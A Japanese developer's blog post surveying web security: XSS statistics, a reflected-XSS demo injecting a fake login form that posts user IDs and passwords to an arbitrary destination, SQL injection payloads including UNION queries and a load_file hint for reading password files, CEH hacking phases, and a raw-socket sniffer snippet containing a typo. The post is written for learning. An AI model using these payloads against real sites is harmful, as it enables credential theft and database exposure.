webアプリにおける脆弱性やハッキング手法などのセキュリティについて


はじめに

突然ですが、質問です。
2020年に登録された脆弱性で 一番多かったもの は何かご存知ですか?





正解は クロスサイトスクリプティング です
(2020年上半期、脆弱性対策情報のデータベースのJVN iPediaに登録されたもの)

2020年上半期(1月~6月)にJVN iPediaへ登録された脆弱性で一番多かったのはクロスサイトスクリプティングで 1099件 だそうです

また、情報の漏えいや改ざんされるような危険度が高い脅威であるものが全体の86.2%も占めています

本記事では開発者として他人事だと思わずセキュリティについて調べてみようかと思います
※自分自身調べながら書いているので足りない部分の不足している情報はあるかと思いますがご了承ください

参考
https://www.ipa.go.jp/security/vuln/report/JVNiPedia2020q1.html
https://www.ipa.go.jp/security/vuln/report/JVNiPedia2020q2.html

クロスサイトスクリプティング(XSS)

まずは上述したクロスサイトスクリプティングについてです

クロスサイトスクリプティングとは攻撃対象の脆弱性のあるwebサイトに、悪意のある第三者がそこへ罠を仕掛け、訪問した人の個人情報などを盗みとるもの

参考
https://www.kagoya.jp/howto/network/xss/

発生しうる脅威

  1. セッションハイジャック
  2. 不正な書き込み
  3. フィッシング

反射型XSSを実際に試してみる

脆弱性のある掲示板などに悪意のあるコードを投稿することによって悪意のあるformを掲示板などに表示できる
そこにユーザーIDやパスワードを入力して送信してしまうとaction属性で指定された場所に個人情報が送信され情報が抜き取られるので注意(以下gifを見ると想像しやすい)

<!-- テキストボックスに入れたコード -->
<form action="任意の送信先" method="post">
  ユーザーID<input type="text" name="user" />
  パスワード<input type="password" name="password" />
  <input type="submit" value="送信" /><br/>
</form>

SQLインジェクション

次にSQLインジェクションです
これも有名で聞いたことある人は多いと思います

「SQL」に、不正なプログラムを注入するサイバー攻撃の総称

参考:https://www.amiya.co.jp/column/sql_injection_20200518.html

発生しうる脅威

  1. 個人情報流出
  2. 情報改ざん・消去
  3. 不正ログイン

参考
https://www.kagoya.jp/howto/network/sql-injection/

実際にどんなSQLが発行されるのか

1. 以下のようにusersテーブルとデータを作成

 CREATE TABLE users
    (
        id     INTEGER NOT NULL,
        name   CHAR(32),
        age INTEGER,
        job_id INTEGER,
        PRIMARY KEY (id)
    );

CREATE TABLE jobs
    (
        id     INTEGER NOT NULL,
        job_name   CHAR(32),
        PRIMARY KEY (id)
    )
 ;


INSERT INTO users(id, name, age, job_id) VALUES
(1, '佐藤', 10, 1),
(2, '鈴木', 20, 2),
(3, '山本', 30, 1);

INSERT INTO jobs(id, job_name) VALUES
(1, 'company1'),
(2, 'company2');

2 作成したテーブルに対してSQLを実行して情報取得

以下を実行して全ての情報を見れます
ポイントは「or '' = ''」のおかげで必ず条件を満たすようになっているところ
しっかりと、エスケープなどしておかないとユーザーが以下のようなSQLを発行できて、自由にDBの情報を見れてしまう

他にもunionを使って複数テーブルに渡っての情報取得やload_file('任意のファイル名')を使用すればパスワードファイルなどを見れると思います

select * FROM users WHERE id = '%' or '' = ''

-- unionを使った例
-- usersとjobsテーブルを取得できる
-- select * FROM users WHERE id = '%' or '' = '' union select id, job_name, null, null from jobs;

このようにusersテーブルの全情報が取得できます
union使えばjobsテーブルも取れます

id name age job_id
1 佐藤 10 1
2 鈴木 20 2
3 山本 30 1

ハッキング手法について

ここからはハッキング手法について少し調べてみます
まず、CEH(認定ホワイトハッカー)で定義されているハッキングフェーズを見てみます

  1. 偵察
    1. 公開されているターゲットについての情報(SNSなど)をターゲットについての情報収集をするための探査を行う準備フェーズ
  2. スキャン
    1. スキャンとは、攻撃者が、偵察で収集した情報を基に特定の情報を求めてネットワークをスキャンする攻撃前のフェーズ
  3. アクセス権の取得
    1. アクセス権限の取得とは、攻撃者が、ターゲットのサーバーへのアクセス権を得ること
  4. アクセス権の維持
    1. 自由にアクセスできるように攻撃者が自身のシステムの所有権を保持しようとするフェーズ
  5. 痕跡の隠蔽
    1. 侵入がばれないよう隠蔽

参考
https://www.bsigroup.com/globalassets/localfiles/ja-jp/psj/ceh-wp/certified-ethical-hacker-whitepaper-download-documents.pdf

ネットワーク情報の収集

ここからは具体的なハッキング手法について抜粋してさらに調べてみます

1つ目は偵察手法のひとつでネットワーク情報の収集
whoisでドメイン情報を調べられます

パケットスニッフィング(パケット盗聴)

2つ目はパケットスニッフィングです

スニッフィングとは、ネットワークを流れるデータを捕らえ、内容を解析して盗み見ること
暗号化されずに流れているデータはすべて見ることができる

参考
http://e-words.jp/w/%E3%82%B9%E3%83%8B%E3%83%83%E3%83%95%E3%82%A3%E3%83%B3%E3%82%B0.html

簡単なコード
別ターミナルで指定した場所にpingを送信するとデータを見ることができる

参考
https://engineeringnote.hateblo.jp/entry/python/bhp/3-2#%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%82%B9%E3%83%8B%E3%83%83%E3%83%95%E3%82%A1%E3%83%BC%E3%81%AE%E5%AE%9F%E8%A3%85

inport socket

sniff = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
sniff.bind((host, 0))
sniff.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

参考
https://teratail.com/questions/258016
https://stackoverrun.com/ja/q/11376162

まとめ

脆弱性やハッキング手法について調べていきました
これからはさらに、セキュリティについての知見を深めていきたいです。